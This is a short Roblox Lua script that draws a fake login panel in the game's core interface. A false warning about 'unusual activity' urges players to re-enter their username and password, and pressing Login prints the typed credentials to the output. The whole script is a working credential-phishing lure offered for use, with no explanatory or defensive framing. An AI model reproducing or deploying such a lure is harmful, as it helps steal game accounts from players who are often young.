Roblox Script MGUI

Text = [[
Roblox is currently going under
a unusual range of activity.
Please login from here!
]]

gui = Instance.new("ScreenGui",game.CoreGui)
Tx = Instance.new("TextLabel",gui)
Tx.Text = Text
Tx.TextXAlignment = "Left"
Tx.TextYAlignment = "Top"
Tx.BackgroundTransparency = 1
Tx.Position = UDim2.new(1, -460, 0, 0)
Tx.FontSize = "Size18"
User = Instance.new("TextBox",gui)
User.Position = UDim2.new(0, 200, 0, 100)
User.Text = "Username"
Pass = Instance.new("TextBox",gui)
Pass.Position = UDim2.new(0, 200, 0, 150)
Pass.Text = "Password"
User.BorderSizePixel = 0
Pass.BorderSizePixel = 0
Login = Instance.new("TextButton",gui)
Login.Position = UDim2.new(0, 200, 0, 200)
Login.Text = "Login"
Login.BorderSizePixel = 0
User.Size = UDim2.new(0, 200, 0, 50)
Pass.Size = UDim2.new(0, 200, 0, 50)
Login.Size = UDim2.new(0, 200, 0, 50)
function click()
print("Username: "..User.Text)
print("Password: "..Pass.Text)
end
Login.MouseButton1Down:connect(click)